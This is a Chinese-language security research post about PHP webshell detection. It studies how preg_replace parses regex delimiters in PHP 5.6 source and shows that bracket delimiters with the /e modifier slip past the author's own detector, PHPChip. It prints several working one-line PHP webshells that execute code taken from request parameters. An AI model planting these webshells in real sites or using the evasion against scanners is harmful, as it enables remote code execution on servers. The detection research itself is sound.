

没死透的正则exec（二）

这是[代码审计知识星球](#)中Webshell专题的第4篇文章。

#Webshell检测那些事# 书接上文。我对 preg_replace 的第一个参数进行fuzz，结果找到了一个利用数组进行绕过的方法。但我并不满足于此，我相信这个参数仍然有很多待挖掘的宝藏。

fuzz有时候效果并不理想，原因可能是设计fuzz的思路不对，或者无脑fuzz效率太低。既然PHP是开源项目，我们直接去底层看看 preg_replace 的实现，找找其中一些有趣的点，效果可能会更好。

所以我找了个PHP 5.6的源码翻了起来。我很快关注到了这个 pcre_get_compiled_regex_cache 函数，这个函数用于处理 preg_replace 的第一个参数，正是我们需要的。其中有一部分代码非常有趣：

```
1  p = regex;
2
3  /* Parse through the leading whitespace, and display a warning if we
4     get to the end without encountering a delimiter. */
5  // ...
6
7  /* Get the delimiter and display a warning if it is alphanumeric
8     or a backslash. */
9  // ...
10
11 start_delimiter = delimiter;
12 if ((pp = strchr("([{< ]]> ]]>", delimiter)))
13     delimiter = pp[5];
14 end_delimiter = delimiter;
15
16 pp = p;
17
18 if (start_delimiter == end_delimiter) {
19     /* We need to iterate through the pattern, searching for the ending
20        delimiter,
21        but skipping the backslashed delimiters. If the ending delimiter
22        is not
23        found, display a warning. */
24     // ...
25 } else {
26     /* We iterate through the pattern, searching for the matching ending
27        * delimiter. For each matching starting delimiter, we increment
28        nesting
29        * level, and decrement it for each matching ending delimiter. If we
30        * reach the end of the pattern without matching, display a warning.
31        */
32     // ...
33 }
```

我省略了很多，因为这些代码前面的注释足以说明他们的作用。

第一段注释，说明了解析正则的时候会忽略掉正则前面所有的空白字符

第二段注释，说明delimiter不能是字母、数字或者反斜线。

delimiter就是正则里的分隔符，比如 `/.* /e` 这个正则，它的delimiter是 `/`。很显然，delimiter是有两个的，分别是start_delimiter和end_delimiter。

第三段注释，当 `start_delimiter == end_delimiter` 时，分隔符只有一个符号。

第四段注释，当 `start_delimiter != end_delimiter` 时，分隔符有两个符号。

第四段就是有趣的点了，我们平时日常开发或审计的过程中，通常遇到的正则表达式分隔符，要不就是斜线 `/`，要不就是竖线 `|`，也有见过井号 `#`、波浪线 `~` 之类的，但甭管怎样他们都属于 `start_delimiter == end_delimiter` 这种情况。

但PHP的正则是支持使用“括号”这种成对出现的符号作为分隔符的，只要正则两侧的分隔符能够组成一对都是合法分隔符，比如：

```
1 preg_replace('(.*)e', '\0', $_REQUEST[2333]);
2 preg_replace('[.*]e', '\0', $_REQUEST[2333]);
3 preg_replace('<.*>e', '\0', $_REQUEST[2333]);
4 preg_replace('{.*}e', '\0', $_REQUEST[2333]);
```

这种比较奇葩的正则表达式分隔符，如果Webshell检测引擎没有正确地进行解析，就有可能被绕过。

很可惜的是，我当时比赛时使用这几个Payload对QT引擎进行了测试，并没有成功。

但是但是，我用这个方法绕过了我自己写的开源项目[PHPChip](#)，可以说是自己日自己了🤡。PHPChip是我几年前做的一个项目，专门用来查找PHP中具有动态特性的代码。

PHPChip对于 `e` 模式的正则Webshell也能成功检测：

```
D:\tmp\webshell
λ php chip.phar check 1.php

=====
danger:D:\tmp\webshell\1.php
preg_replace中正则表达式包含e模式，可能存在远程代码执行的隐患

1:<?php
2:
3:preg_replace('|.*|e', $_REQUEST[1], $_REQUEST[2]);
4:
```

但是，我们看看它解析正则表达式时的代码：

```

43     public static function create($data)
44     {
45         if (empty($data)) {
46             return new self('', '', '');
47         }
48
49         $delimiter = $data[0];
50         if ($delimiter == "(") {
51             $delimiter = ")";
52         }
53
54         $j = strlen($data) - 1;
55
56         while (0 < $j) {
57             if ($delimiter == $data[$j]) {
58                 break;
59             }
60             $j--;
61         }
62
63         if (0 === $j) {
64             throw RegexFormatException::create($data);
65         }
66
67         $regex = substr($data, 1, $j - 1);
68         $flags = substr($data, $j + 1);
69
70         return new self($regex, $delimiter, $flags);
71     }

```

这里显然只考虑了小括号 () 的情况。所以，我们使用其他三种括号，即可绕过PHPChip的检测。比如：

```

1  <?php
2  preg_replace('<.*>e', '\0', $_REQUEST[2333]);
3

```

```

D:\tmp\webshell
λ cat 1.php
<?php
preg_replace('<.*>e', '\0', $_REQUEST[2333]);

D:\tmp\webshell
λ php chip.phar check 1.php

```